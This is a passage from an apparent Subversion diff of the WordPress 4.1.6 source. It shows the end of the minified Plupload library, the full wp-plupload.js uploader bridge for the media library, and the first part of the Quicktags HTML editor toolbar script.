Error."),file:n,response:m.responseText,status:m.status,responseHeaders:m.getAllResponseHeaders()}))}function p(){var d,v,g,y;if(n.status==o.DONE||n.status==o.FAILED||e.state==o.STOPPED)return;g={name:n.target_name||n.name},s&&a.chunks&&c.size>s?(y=Math.min(s,c.size-f),d=c.slice(f,f+y)):(y=c.size,d=c),s&&a.chunks&&(e.settings.send_chunk_number?(g.chunk=Math.ceil(f/s),g.chunks=Math.ceil(c.size/s)):(g.offset=f,g.total=c.size)),m=new t.XMLHttpRequest,m.upload&&(m.upload.onprogress=function(t){n.loaded=Math.min(n.size,f+t.loaded),e.trigger("UploadProgress",n)}),m.onload=function(){if(m.status>=400){h();return}u=e.settings.max_retries,y<c.size?(d.destroy(),f+=y,n.loaded=Math.min(f,c.size),e.trigger("ChunkUploaded",n,{offset:n.loaded,total:c.size,response:m.responseText,status:m.status,responseHeaders:m.getAllResponseHeaders()}),t.Env.browser==="Android Browser"&&e.trigger("UploadProgress",n)):n.loaded=n.size,d=v=null,!f||f>=c.size?(n.size!=n.origSize&&(c.destroy(),c=null),e.trigger("UploadProgress",n),n.status=o.DONE,e.trigger("FileUploaded",n,{response:m.responseText,status:m.status,responseHeaders:m.getAllResponseHeaders()})):r(p,1)},m.onerror=function(){h()},m.onloadend=function(){this.destroy(),m=null},e.settings.multipart&&a.multipart?(g.name=n.target_name||n.name,m.open("post",i,!0),o.each(e.settings.headers,function(e,t){m.setRequestHeader(t,e)}),v=new t.FormData,o.each(o.extend(g,e.settings.multipart_params),function(e,t){v.append(t,e)}),v.append(e.settings.file_data_name,d),m.send(v,{runtime_order:e.settings.runtimes,required_caps:e.settings.required_features,preferred_caps:l,swf_url:e.settings.flash_swf_url,xap_url:e.settings.silverlight_xap_url})):(i=o.buildUrl(e.settings.url,o.extend(g,e.settings.multipart_params)),m.open("post",i,!0),m.setRequestHeader("Content-Type","application/octet-stream"),o.each(e.settings.headers,function(e,t){m.setRequestHeader(t,e)}),m.send(d,{runtime_order:e.settings.runtimes,required_caps:e.settings.required_features,preferred_caps:l,swf_url:e.settings.flash_swf_url,xap_url:e.settings.silverlight_xap_url}))}var i=e.settings.url,s=e.settings.chunk_size,u=e.settings.max_retries,a=e.features,f=0,c;n.loaded&&(f=n.loaded=s*Math.floor(n.loaded/s)),c=n.getSource(),e.settings.resize.enabled&&E(c,"send_binary_string")&&!!~t.inArray(c.type,["image/jpeg","image/png"])?T.call(this,c,e.settings.resize,function(e){c=e,n.size=e.size,p()}):p()}function A(e,t){y(t)}function O(e){if(e.state==o.STARTED)p=+(new Date);else if(e.state==o.STOPPED)for(var t=e.files.length-1;t>=0;t--)e.files[t].status==o.UPLOADING&&(e.files[t].status=o.QUEUED,b())}function M(){m&&m.abort()}function _(e){b(),r(function(){g.call(e)},1)}function D(e,t){t.file&&(t.file.status=o.FAILED,y(t.file),e.state==o.STARTED&&(e.trigger("CancelUpload"),r(function(){g.call(e)},1)))}function P(e){e.stop(),o.each(f,function(e){e.destroy()}),f=[],c.length&&(o.each(c,function(e){e.destroy()}),c=[]),h.length&&(o.each(h,function(e){e.destroy()}),h=[]),l={},v=!1,p=m=null,d.reset()}var u=o.guid(),a,f=[],l={},c=[],h=[],p,d,v=!1,m;a={runtimes:t.Runtime.order,max_retries:0,chunk_size:0,multipart:!0,multi_selection:!0,file_data_name:"file",flash_swf_url:"js/Moxie.swf",silverlight_xap_url:"js/Moxie.xap",filters:{mime_types:[],prevent_duplicates:!1,max_file_size:0},resize:{enabled:!1,preserve_headers:!0,crop:!1},send_chunk_number:!0},N.call(this,e,null,!0),d=new o.QueueProgress,o.extend(this,{id:u,uid:u,state:o.STOPPED,features:{},runtime:null,files:f,settings:a,total:d,init:function(){var e=this;typeof a.preinit=="function"?a.preinit(e):o.each(a.preinit,function(t,n){e.bind(n,t)});if(!a.browse_button||!a.url){this.trigger("Error",{code:o.INIT_ERROR,message:o.translate("Init error.")});return}S.call(this),x.call(this,a,function(n){typeof a.init=="function"?a.init(e):o.each(a.init,function(t,n){e.bind(n,t)}),n?(e.runtime=t.Runtime.getInfo(w()).type,e.trigger("Init",{runtime:e.runtime}),e.trigger("PostInit")):e.trigger("Error",{code:o.INIT_ERROR,message:o.translate("Init error.")})})},setOption:function(e,t){N.call(this,e,t,!this.runtime)},getOption:function(e){return e?a[e]:a},refresh:function(){c.length&&o.each(c,function(e){e.trigger("Refresh")}),this.trigger("Refresh")},start:function(){this.state!=o.STARTED&&(this.state=o.STARTED,this.trigger("StateChanged"),g.call(this))},stop:function(){this.state!=o.STOPPED&&(this.state=o.STOPPED,this.trigger("StateChanged"),this.trigger("CancelUpload"))},disableBrowse:function(){v=arguments[0]!==n?arguments[0]:!0,c.length&&o.each(c,function(e){e.disable(v)}),this.trigger("DisableBrowse",v)},getFile:function(e){var t;for(t=f.length-1;t>=0;t--)if(f[t].id===e)return f[t]},addFile:function(e,n){function l(e,n){var r=[];t.each(s.settings.filters,function(t,n){i[n]&&r.push(function(r){i[n].call(s,t,e,function(e){r(!e)})})}),t.inSeries(r,n)}function c(e){var i=t.typeOf(e);if(e instanceof t.File){if(!e.ruid&&!e.isDetached()){if(!f)return!1;e.ruid=f,e.connectRuntime(f)}c(new o.File(e))}else e instanceof t.Blob?(c(e.getSource()),e.destroy()):e instanceof o.File?(n&&(e.name=n),u.push(function(t){l(e,function(n){n||(a.push(e),s.trigger("FileFiltered",e)),r(t,1)})})):t.inArray(i,["file","blob"])!==-1?c(new t.File(null,e)):i==="node"&&t.typeOf(e.files)==="filelist"?t.each(e.files,c):i==="array"&&(n=null,t.each(e,c))}var s=this,u=[],a=[],f;f=w(),c(e),u.length&&t.inSeries(u,function(){a.length&&s.trigger("FilesAdded",a)})},removeFile:function(e){var t=typeof e=="string"?e:e.id;for(var n=f.length-1;n>=0;n--)if(f[n].id===t)return this.splice(n,1)[0]},splice:function(e,t){var r=f.splice(e===n?0:e,t===n?f.length:t),i=!1;return this.state==o.STARTED&&(i=!0,this.stop()),this.trigger("FilesRemoved",r),o.each(r,function(e){e.destroy()}),this.trigger("QueueChanged"),this.refresh(),i&&this.start(),r},bind:function(e,t,n){var r=this;o.Uploader.prototype.bind.call(this,e,function(){var e=[].slice.call(arguments);return e.splice(0,1,r),t.apply(this,e)},0,n)},destroy:function(){this.trigger("Destroy"),a=d=null,this.unbindAll()}})},o.Uploader.prototype=t.EventTarget.instance,o.File=function(){function n(n){o.extend(this,{id:o.guid(),name:n.name||n.fileName,type:n.type||"",size:n.size||n.fileSize,origSize:n.size||n.fileSize,loaded:0,percent:0,status:o.QUEUED,lastModifiedDate:n.lastModifiedDate||(new Date).toLocaleString(),getNative:function(){var e=this.getSource().getSource();return t.inArray(t.typeOf(e),["blob","file"])!==-1?e:null},getSource:function(){return e[this.id]?e[this.id]:null},destroy:function(){var t=this.getSource();t&&(t.destroy(),delete e[this.id])}}),e[this.id]=n}var e={};return n}(),o.QueueProgress=function(){var e=this;e.size=0,e.loaded=0,e.uploaded=0,e.failed=0,e.queued=0,e.percent=0,e.bytesPerSec=0,e.reset=function(){e.size=e.loaded=e.uploaded=e.failed=e.queued=e.percent=e.bytesPerSec=0}},e.plupload=o})(window,mOxie);
Index: /tags/4.1.6/src/wp-includes/js/plupload/wp-plupload.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/plupload/wp-plupload.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/plupload/wp-plupload.js	(revision 33402)
@@ -0,0 +1,424 @@
+/* global pluploadL10n, plupload, _wpPluploadSettings */
+
+window.wp = window.wp || {};
+
+( function( exports, $ ) {
+	var Uploader;
+
+	if ( typeof _wpPluploadSettings === 'undefined' ) {
+		return;
+	}
+
+	/**
+	 * A WordPress uploader.
+	 *
+	 * The Plupload library provides cross-browser uploader UI integration.
+	 * This object bridges the Plupload API to integrate uploads into the
+	 * WordPress back-end and the WordPress media experience.
+	 *
+	 * @param {object} options           The options passed to the new plupload instance.
+	 * @param {object} options.container The id of uploader container.
+	 * @param {object} options.browser   The id of button to trigger the file select.
+	 * @param {object} options.dropzone  The id of file drop target.
+	 * @param {object} options.plupload  An object of parameters to pass to the plupload instance.
+	 * @param {object} options.params    An object of parameters to pass to $_POST when uploading the file.
+	 *                                   Extends this.plupload.multipart_params under the hood.
+	 */
+	Uploader = function( options ) {
+		var self = this,
+			isIE = navigator.userAgent.indexOf('Trident/') != -1 || navigator.userAgent.indexOf('MSIE ') != -1,
+			elements = {
+				container: 'container',
+				browser:   'browse_button',
+				dropzone:  'drop_element'
+			},
+			key, error;
+
+		this.supports = {
+			upload: Uploader.browser.supported
+		};
+
+		this.supported = this.supports.upload;
+
+		if ( ! this.supported ) {
+			return;
+		}
+
+		// Arguments to send to pluplad.Uploader().
+		// Use deep extend to ensure that multipart_params and other objects are cloned.
+		this.plupload = $.extend( true, { multipart_params: {} }, Uploader.defaults );
+		this.container = document.body; // Set default container.
+
+		// Extend the instance with options.
+		//
+		// Use deep extend to allow options.plupload to override individual
+		// default plupload keys.
+		$.extend( true, this, options );
+
+		// Proxy all methods so this always refers to the current instance.
+		for ( key in this ) {
+			if ( $.isFunction( this[ key ] ) ) {
+				this[ key ] = $.proxy( this[ key ], this );
+			}
+		}
+
+		// Ensure all elements are jQuery elements and have id attributes,
+		// then set the proper plupload arguments to the ids.
+		for ( key in elements ) {
+			if ( ! this[ key ] ) {
+				continue;
+			}
+
+			this[ key ] = $( this[ key ] ).first();
+
+			if ( ! this[ key ].length ) {
+				delete this[ key ];
+				continue;
+			}
+
+			if ( ! this[ key ].prop('id') ) {
+				this[ key ].prop( 'id', '__wp-uploader-id-' + Uploader.uuid++ );
+			}
+
+			this.plupload[ elements[ key ] ] = this[ key ].prop('id');
+		}
+
+		// If the uploader has neither a browse button nor a dropzone, bail.
+		if ( ! ( this.browser && this.browser.length ) && ! ( this.dropzone && this.dropzone.length ) ) {
+			return;
+		}
+
+		// Make sure flash sends cookies (seems in IE it does without switching to urlstream mode)
+		if ( ! isIE && 'flash' === plupload.predictRuntime( this.plupload ) &&
+			( ! this.plupload.required_features || ! this.plupload.required_features.hasOwnProperty( 'send_binary_string' ) ) ) {
+
+			this.plupload.required_features = this.plupload.required_features || {};
+			this.plupload.required_features.send_binary_string = true;
+		}
+
+		// Initialize the plupload instance.
+		this.uploader = new plupload.Uploader( this.plupload );
+		delete this.plupload;
+
+		// Set default params and remove this.params alias.
+		this.param( this.params || {} );
+		delete this.params;
+
+		/**
+		 * Custom error callback.
+		 *
+		 * Add a new error to the errors collection, so other modules can track
+		 * and display errors. @see wp.Uploader.errors.
+		 *
+		 * @param  {string}        message
+		 * @param  {object}        data
+		 * @param  {plupload.File} file     File that was uploaded.
+		 */
+		error = function( message, data, file ) {
+			if ( file.attachment ) {
+				file.attachment.destroy();
+			}
+
+			Uploader.errors.unshift({
+				message: message || pluploadL10n.default_error,
+				data:    data,
+				file:    file
+			});
+
+			self.error( message, data, file );
+		};
+
+		/**
+		 * After the Uploader has been initialized, initialize some behaviors for the dropzone.
+		 *
+		 * @param {plupload.Uploader} uploader Uploader instance.
+		 */
+		this.uploader.bind( 'init', function( uploader ) {
+			var timer, active, dragdrop,
+				dropzone = self.dropzone;
+
+			dragdrop = self.supports.dragdrop = uploader.features.dragdrop && ! Uploader.browser.mobile;
+
+			// Generate drag/drop helper classes.
+			if ( ! dropzone ) {
+				return;
+			}
+
+			dropzone.toggleClass( 'supports-drag-drop', !! dragdrop );
+
+			if ( ! dragdrop ) {
+				return dropzone.unbind('.wp-uploader');
+			}
+
+			// 'dragenter' doesn't fire correctly, simulate it with a limited 'dragover'.
+			dropzone.bind( 'dragover.wp-uploader', function() {
+				if ( timer ) {
+					clearTimeout( timer );
+				}
+
+				if ( active ) {
+					return;
+				}
+
+				dropzone.trigger('dropzone:enter').addClass('drag-over');
+				active = true;
+			});
+
+			dropzone.bind('dragleave.wp-uploader, drop.wp-uploader', function() {
+				// Using an instant timer prevents the drag-over class from
+				// being quickly removed and re-added when elements inside the
+				// dropzone are repositioned.
+				//
+				// @see https://core.trac.wordpress.org/ticket/21705
+				timer = setTimeout( function() {
+					active = false;
+					dropzone.trigger('dropzone:leave').removeClass('drag-over');
+				}, 0 );
+			});
+
+			self.ready = true;
+			$(self).trigger( 'uploader:ready' );
+		});
+
+		this.uploader.init();
+
+		if ( this.browser ) {
+			this.browser.on( 'mouseenter', this.refresh );
+		} else {
+			this.uploader.disableBrowse( true );
+			// If HTML5 mode, hide the auto-created file container.
+			$('#' + this.uploader.id + '_html5_container').hide();
+		}
+
+		/**
+		 * After files were filtered and added to the queue, create a model for each.
+		 *
+		 * @event FilesAdded
+		 * @param {plupload.Uploader} uploader Uploader instance.
+		 * @param {Array}             files    Array of file objects that were added to queue by the user.
+		 */
+		this.uploader.bind( 'FilesAdded', function( up, files ) {
+			_.each( files, function( file ) {
+				var attributes, image;
+
+				// Ignore failed uploads.
+				if ( plupload.FAILED === file.status ) {
+					return;
+				}
+
+				// Generate attributes for a new `Attachment` model.
+				attributes = _.extend({
+					file:      file,
+					uploading: true,
+					date:      new Date(),
+					filename:  file.name,
+					menuOrder: 0,
+					uploadedTo: wp.media.model.settings.post.id
+				}, _.pick( file, 'loaded', 'size', 'percent' ) );
+
+				// Handle early mime type scanning for images.
+				image = /(?:jpe?g|png|gif)$/i.exec( file.name );
+
+				// For images set the model's type and subtype attributes.
+				if ( image ) {
+					attributes.type = 'image';
+
+					// `jpeg`, `png` and `gif` are valid subtypes.
+					// `jpg` is not, so map it to `jpeg`.
+					attributes.subtype = ( 'jpg' === image[0] ) ? 'jpeg' : image[0];
+				}
+
+				// Create a model for the attachment, and add it to the Upload queue collection
+				// so listeners to the upload queue can track and display upload progress.
+				file.attachment = wp.media.model.Attachment.create( attributes );
+				Uploader.queue.add( file.attachment );
+
+				self.added( file.attachment );
+			});
+
+			up.refresh();
+			up.start();
+		});
+
+		this.uploader.bind( 'UploadProgress', function( up, file ) {
+			file.attachment.set( _.pick( file, 'loaded', 'percent' ) );
+			self.progress( file.attachment );
+		});
+
+		/**
+		 * After a file is successfully uploaded, update its model.
+		 *
+		 * @param {plupload.Uploader} uploader Uploader instance.
+		 * @param {plupload.File}     file     File that was uploaded.
+		 * @param {Object}            response Object with response properties.
+		 * @return {mixed}
+		 */
+		this.uploader.bind( 'FileUploaded', function( up, file, response ) {
+			var complete;
+
+			try {
+				response = JSON.parse( response.response );
+			} catch ( e ) {
+				return error( pluploadL10n.default_error, e, file );
+			}
+
+			if ( ! _.isObject( response ) || _.isUndefined( response.success ) )
+				return error( pluploadL10n.default_error, null, file );
+			else if ( ! response.success )
+				return error( response.data && response.data.message, response.data, file );
+
+			_.each(['file','loaded','size','percent'], function( key ) {
+				file.attachment.unset( key );
+			});
+
+			file.attachment.set( _.extend( response.data, { uploading: false }) );
+			wp.media.model.Attachment.get( response.data.id, file.attachment );
+
+			complete = Uploader.queue.all( function( attachment ) {
+				return ! attachment.get('uploading');
+			});
+
+			if ( complete )
+				Uploader.queue.reset();
+
+			self.success( file.attachment );
+		});
+
+		/**
+		 * When plupload surfaces an error, send it to the error handler.
+		 *
+		 * @param {plupload.Uploader} uploader Uploader instance.
+		 * @param {Object}            error    Contains code, message and sometimes file and other details.
+		 */
+		this.uploader.bind( 'Error', function( up, pluploadError ) {
+			var message = pluploadL10n.default_error,
+				key;
+
+			// Check for plupload errors.
+			for ( key in Uploader.errorMap ) {
+				if ( pluploadError.code === plupload[ key ] ) {
+					message = Uploader.errorMap[ key ];
+
+					if ( _.isFunction( message ) ) {
+						message = message( pluploadError.file, pluploadError );
+					}
+
+					break;
+				}
+			}
+
+			error( message, pluploadError, pluploadError.file );
+			up.refresh();
+		});
+
+		this.uploader.bind( 'PostInit', function() {
+			self.init();
+		});
+	};
+
+	// Adds the 'defaults' and 'browser' properties.
+	$.extend( Uploader, _wpPluploadSettings );
+
+	Uploader.uuid = 0;
+
+	// Map Plupload error codes to user friendly error messages.
+	Uploader.errorMap = {
+		'FAILED':                 pluploadL10n.upload_failed,
+		'FILE_EXTENSION_ERROR':   pluploadL10n.invalid_filetype,
+		'IMAGE_FORMAT_ERROR':     pluploadL10n.not_an_image,
+		'IMAGE_MEMORY_ERROR':     pluploadL10n.image_memory_exceeded,
+		'IMAGE_DIMENSIONS_ERROR': pluploadL10n.image_dimensions_exceeded,
+		'GENERIC_ERROR':          pluploadL10n.upload_failed,
+		'IO_ERROR':               pluploadL10n.io_error,
+		'HTTP_ERROR':             pluploadL10n.http_error,
+		'SECURITY_ERROR':         pluploadL10n.security_error,
+
+		'FILE_SIZE_ERROR': function( file ) {
+			return pluploadL10n.file_exceeds_size_limit.replace('%s', file.name);
+		}
+	};
+
+	$.extend( Uploader.prototype, {
+		/**
+		 * Acts as a shortcut to extending the uploader's multipart_params object.
+		 *
+		 * param( key )
+		 *    Returns the value of the key.
+		 *
+		 * param( key, value )
+		 *    Sets the value of a key.
+		 *
+		 * param( map )
+		 *    Sets values for a map of data.
+		 */
+		param: function( key, value ) {
+			if ( arguments.length === 1 && typeof key === 'string' ) {
+				return this.uploader.settings.multipart_params[ key ];
+			}
+
+			if ( arguments.length > 1 ) {
+				this.uploader.settings.multipart_params[ key ] = value;
+			} else {
+				$.extend( this.uploader.settings.multipart_params, key );
+			}
+		},
+
+		/**
+		 * Make a few internal event callbacks available on the wp.Uploader object
+		 * to change the Uploader internals if absolutely necessary.
+		 */
+		init:     function() {},
+		error:    function() {},
+		success:  function() {},
+		added:    function() {},
+		progress: function() {},
+		complete: function() {},
+		refresh:  function() {
+			var node, attached, container, id;
+
+			if ( this.browser ) {
+				node = this.browser[0];
+
+				// Check if the browser node is in the DOM.
+				while ( node ) {
+					if ( node === document.body ) {
+						attached = true;
+						break;
+					}
+					node = node.parentNode;
+				}
+
+				// If the browser node is not attached to the DOM, use a
+				// temporary container to house it, as the browser button
+				// shims require the button to exist in the DOM at all times.
+				if ( ! attached ) {
+					id = 'wp-uploader-browser-' + this.uploader.id;
+
+					container = $( '#' + id );
+					if ( ! container.length ) {
+						container = $('<div class="wp-uploader-browser" />').css({
+							position: 'fixed',
+							top: '-1000px',
+							left: '-1000px',
+							height: 0,
+							width: 0
+						}).attr( 'id', 'wp-uploader-browser-' + this.uploader.id ).appendTo('body');
+					}
+
+					container.append( this.browser );
+				}
+			}
+
+			this.uploader.refresh();
+		}
+	});
+
+	// Create a collection of attachments in the upload queue,
+	// so that other modules can track and display upload progress.
+	Uploader.queue = new wp.media.model.Attachments( [], { query: false });
+
+	// Create a collection to collect errors incurred while attempting upload.
+	Uploader.errors = new Backbone.Collection();
+
+	exports.Uploader = Uploader;
+})( wp, jQuery );
Index: /tags/4.1.6/src/wp-includes/js/quicktags.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/quicktags.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/quicktags.js	(revision 33402)
@@ -0,0 +1,683 @@
+/* global adminpage, wpActiveEditor, quicktagsL10n, wpLink, prompt */
+/*
+ * Quicktags
+ *
+ * This is the HTML editor in WordPress. It can be attached to any textarea and will
+ * append a toolbar above it. This script is self-contained (does not require external libraries).
+ *
+ * Run quicktags(settings) to initialize it, where settings is an object containing up to 3 properties:
+ * settings = {
+ *   id : 'my_id',          the HTML ID of the textarea, required
+ *   buttons: ''            Comma separated list of the names of the default buttons to show. Optional.
+ *                          Current list of default button names: 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close';
+ * }
+ *
+ * The settings can also be a string quicktags_id.
+ *
+ * quicktags_id string The ID of the textarea that will be the editor canvas
+ * buttons string Comma separated list of the default buttons names that will be shown in that instance.
+ */
+
+// new edit toolbar used with permission
+// by Alex King
+// http://www.alexking.org/
+
+var QTags, edCanvas,
+	edButtons = [];
+
+/* jshint ignore:start */
+
+/**
+ * Back-compat
+ *
+ * Define all former global functions so plugins that hack quicktags.js directly don't cause fatal errors.
+ */
+var edAddTag = function(){},
+edCheckOpenTags = function(){},
+edCloseAllTags = function(){},
+edInsertImage = function(){},
+edInsertLink = function(){},
+edInsertTag = function(){},
+edLink = function(){},
+edQuickLink = function(){},
+edRemoveTag = function(){},
+edShowButton = function(){},
+edShowLinks = function(){},
+edSpell = function(){},
+edToolbar = function(){};
+
+/**
+ * Initialize new instance of the Quicktags editor
+ */
+function quicktags(settings) {
+	return new QTags(settings);
+}
+
+/**
+ * Inserts content at the caret in the active editor (textarea)
+ *
+ * Added for back compatibility
+ * @see QTags.insertContent()
+ */
+function edInsertContent(bah, txt) {
+	return QTags.insertContent(txt);
+}
+
+/**
+ * Adds a button to all instances of the editor
+ *
+ * Added for back compatibility, use QTags.addButton() as it gives more flexibility like type of button, button placement, etc.
+ * @see QTags.addButton()
+ */
+function edButton(id, display, tagStart, tagEnd, access) {
+	return QTags.addButton( id, display, tagStart, tagEnd, access, '', -1 );
+}
+
+/* jshint ignore:end */
+
+(function(){
+	// private stuff is prefixed with an underscore
+	var _domReady = function(func) {
+		var t, i, DOMContentLoaded, _tryReady;
+
+		if ( typeof jQuery !== 'undefined' ) {
+			jQuery(document).ready(func);
+		} else {
+			t = _domReady;
+			t.funcs = [];
+
+			t.ready = function() {
+				if ( ! t.isReady ) {
+					t.isReady = true;
+					for ( i = 0; i < t.funcs.length; i++ ) {
+						t.funcs[i]();
+					}
+				}
+			};
+
+			if ( t.isReady ) {
+				func();
+			} else {
+				t.funcs.push(func);
+			}
+
+			if ( ! t.eventAttached ) {
+				if ( document.addEventListener ) {
+					DOMContentLoaded = function(){document.removeEventListener('DOMContentLoaded', DOMContentLoaded, false);t.ready();};
+					document.addEventListener('DOMContentLoaded', DOMContentLoaded, false);
+					window.addEventListener('load', t.ready, false);
+				} else if ( document.attachEvent ) {
+					DOMContentLoaded = function(){if (document.readyState === 'complete'){ document.detachEvent('onreadystatechange', DOMContentLoaded);t.ready();}};
+					document.attachEvent('onreadystatechange', DOMContentLoaded);
+					window.attachEvent('onload', t.ready);
+
+					_tryReady = function() {
+						try {
+							document.documentElement.doScroll('left');
+						} catch(e) {
+							setTimeout(_tryReady, 50);
+							return;
+						}
+
+						t.ready();
+					};
+					_tryReady();
+				}
+
+				t.eventAttached = true;
+			}
+		}
+	},
+
+	_datetime = (function() {
+		var now = new Date(), zeroise;
+
+		zeroise = function(number) {
+			var str = number.toString();
+
+			if ( str.length < 2 ) {
+				str = '0' + str;
+			}
+
+			return str;
+		};
+
+		return now.getUTCFullYear() + '-' +
+			zeroise( now.getUTCMonth() + 1 ) + '-' +
+			zeroise( now.getUTCDate() ) + 'T' +
+			zeroise( now.getUTCHours() ) + ':' +
+			zeroise( now.getUTCMinutes() ) + ':' +
+			zeroise( now.getUTCSeconds() ) +
+			'+00:00';
+	})(),
+	qt;
+
+	qt = QTags = function(settings) {
+		if ( typeof(settings) === 'string' ) {
+			settings = {id: settings};
+		} else if ( typeof(settings) !== 'object' ) {
+			return false;
+		}
+
+		var t = this,
+			id = settings.id,
+			canvas = document.getElementById(id),
+			name = 'qt_' + id,
+			tb, onclick, toolbar_id;
+
+		if ( !id || !canvas ) {
+			return false;
+		}
+
+		t.name = name;
+		t.id = id;
+		t.canvas = canvas;
+		t.settings = settings;
+
+		if ( id === 'content' && typeof(adminpage) === 'string' && ( adminpage === 'post-new-php' || adminpage === 'post-php' ) ) {
+			// back compat hack :-(
+			edCanvas = canvas;
+			toolbar_id = 'ed_toolbar';
+		} else {
+			toolbar_id = name + '_toolbar';
+		}
+
+		tb = document.createElement('div');
+		tb.id = toolbar_id;
+		tb.className = 'quicktags-toolbar';
+		tb.onclick = function() {
+			window.wpActiveEditor = id;
+		};
+
+		canvas.parentNode.insertBefore(tb, canvas);
+		t.toolbar = tb;
+
+		// listen for click events
+		onclick = function(e) {
+			e = e || window.event;
+			var target = e.target || e.srcElement, visible = target.clientWidth || target.offsetWidth, i;
+
+			// don't call the callback on pressing the accesskey when the button is not visible
+			if ( !visible ) {
+				return;
+			}
+
+			// as long as it has the class ed_button, execute the callback
+			if ( / ed_button /.test(' ' + target.className + ' ') ) {
+				// we have to reassign canvas here
+				t.canvas = canvas = document.getElementById(id);
+				i = target.id.replace(name + '_', '');
+
+				if ( t.theButtons[i] ) {
+					t.theButtons[i].callback.call(t.theButtons[i], target, canvas, t);
+				}
+			}
+		};
+
+		if ( tb.addEventListener ) {
+			tb.addEventListener('click', onclick, false);
+		} else if ( tb.attachEvent ) {
+			tb.attachEvent('onclick', onclick);
+		}
+
+		t.getButton = function(id) {
+			return t.theButtons[id];
+		};
+
+		t.getButtonElement = function(id) {
+			return document.getElementById(name + '_' + id);
+		};
+
+		qt.instances[id] = t;
+
+		if ( ! qt.instances['0'] ) {
+			qt.instances['0'] = qt.instances[id];
+			_domReady( function(){ qt._buttonsInit(); } );
+		}
+	};
+
+	qt.instances = {};
+
+	qt.getInstance = function(id) {
+		return qt.instances[id];
+	};
+
+	qt._buttonsInit = function() {
+		var t = this, canvas, name, settings, theButtons, html, inst, ed, id, i, use,
+			defaults = ',strong,em,link,block,del,ins,img,ul,ol,li,code,more,close,';
+
+		for ( inst in t.instances ) {
+			if ( '0' === inst ) {
+				continue;
+			}
+
+			ed = t.instances[inst];
+			canvas = ed.canvas;
+			name = ed.name;
+			settings = ed.settings;
+			html = '';
+			theButtons = {};
+			use = '';
+
+			// set buttons
+			if ( settings.buttons ) {
+				use = ','+settings.buttons+',';
+			}
+
+			for ( i in edButtons ) {
+				if ( !edButtons[i] ) {
+					continue;
+				}
+
+				id = edButtons[i].id;
+				if ( use && defaults.indexOf( ',' + id + ',' ) !== -1 && use.indexOf( ',' + id + ',' ) === -1 ) {
+					continue;
+				}
+
+				if ( !edButtons[i].instance || edButtons[i].instance === inst ) {
+					theButtons[id] = edButtons[i];
+
+					if ( edButtons[i].html ) {
+						html += edButtons[i].html(name + '_');
+					}
+				}
+			}
+
+			if ( use && use.indexOf(',fullscreen,') !== -1 ) {
+				theButtons.fullscreen = new qt.FullscreenButton();
+				html += theButtons.fullscreen.html(name + '_');
+			}
+
+			if ( use && use.indexOf(',dfw,') !== -1 ) {
+				theButtons.dfw = new qt.DFWButton();
+				html += theButtons.dfw.html( name + '_' );
+			}
+
+			if ( 'rtl' === document.getElementsByTagName('html')[0].dir ) {
+				theButtons.textdirection = new qt.TextDirectionButton();
+				html += theButtons.textdirection.html(name + '_');
+			}
+
+			ed.toolbar.innerHTML = html;
+			ed.theButtons = theButtons;
+
+			if ( typeof jQuery !== 'undefined' ) {
+				jQuery( document ).triggerHandler( 'quicktags-init', [ ed ] );
+			}
+		}
+		t.buttonsInitDone = true;
+	};
+
+	/**
+	 * Main API function for adding a button to Quicktags
+	 *
+	 * Adds qt.Button or qt.TagButton depending on the args. The first three args are always required.
+	 * To be able to add button(s) to Quicktags, your script should be enqueued as dependent
+	 * on "quicktags" and outputted in the footer. If you are echoing JS directly from PHP,
+	 * use add_action( 'admin_print_footer_scripts', 'output_my_js', 100 ) or add_action( 'wp_footer', 'output_my_js', 100 )
+	 *
+	 * Minimum required to add a button that calls an external function:
+	 *     QTags.addButton( 'my_id', 'my button', my_callback );
+	 *     function my_callback() { alert('yeah!'); }
+	 *
+	 * Minimum required to add a button that inserts a tag:
+	 *     QTags.addButton( 'my_id', 'my button', '<span>', '</span>' );
+	 *     QTags.addButton( 'my_id2', 'my button', '<br />' );
+	 *
+	 * @param string id Required. Button HTML ID
+	 * @param string display Required. Button's value="..."
+	 * @param string|function arg1 Required. Either a starting tag to be inserted like "<span>" or a callback that is executed when the button is clicked.
+	 * @param string arg2 Optional. Ending tag like "</span>"
+	 * @param string access_key Deprecated Not used
+	 * @param string title Optional. Button's title="..."
+	 * @param int priority Optional. Number representing the desired position of the button in the toolbar. 1 - 9 = first, 11 - 19 = second, 21 - 29 = third, etc.
+	 * @param string instance Optional. Limit the button to a specific instance of Quicktags, add to all instances if not present.
+	 * @return mixed null or the button object that is needed for back-compat.
+	 */
+	qt.addButton = function( id, display, arg1, arg2, access_key, title, priority, instance ) {
+		var btn;
+
+		if ( !id || !display ) {
+			return;
+		}
+
+		priority = priority || 0;
+		arg2 = arg2 || '';
+
+		if ( typeof(arg1) === 'function' ) {
+			btn = new qt.Button(id, display, access_key, title, instance);
+			btn.callback = arg1;
+		} else if ( typeof(arg1) === 'string' ) {
+			btn = new qt.TagButton(id, display, arg1, arg2, access_key, title, instance);
+		} else {
+			return;
+		}
+
+		if ( priority === -1 ) { // back-compat
+			return btn;
+		}
+
+		if ( priority > 0 ) {
+			while ( typeof(edButtons[priority]) !== 'undefined' ) {
+				priority++;
+			}
+
+			edButtons[priority] = btn;
+		} else {
+			edButtons[edButtons.length] = btn;
+		}
+
+		if ( this.buttonsInitDone ) {
+			this._buttonsInit(); // add the button HTML to all instances toolbars if addButton() was called too late
+		}
+	};
+
+	qt.insertContent = function(content) {
+		var sel, startPos, endPos, scrollTop, text, canvas = document.getElementById(wpActiveEditor);
+
+		if ( !canvas ) {
+			return false;
+		}
+
+		if ( document.selection ) { //IE
+			canvas.focus();
+			sel = document.selection.createRange();
+			sel.text = content;
+			canvas.focus();
+		} else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera
+			text = canvas.value;
+			startPos = canvas.selectionStart;
+			endPos = canvas.selectionEnd;
+			scrollTop = canvas.scrollTop;
+
+			canvas.value = text.substring(0, startPos) + content + text.substring(endPos, text.length);
+
+			canvas.selectionStart = startPos + content.length;
+			canvas.selectionEnd = startPos + content.length;
+			canvas.scrollTop = scrollTop;
+			canvas.focus();
+		} else {
+			canvas.value += content;
+			canvas.focus();
+		}
+		return true;
+	};
+
+	// a plain, dumb button
+	qt.Button = function(id, display, access, title, instance) {
+		var t = this;
+		t.id = id;
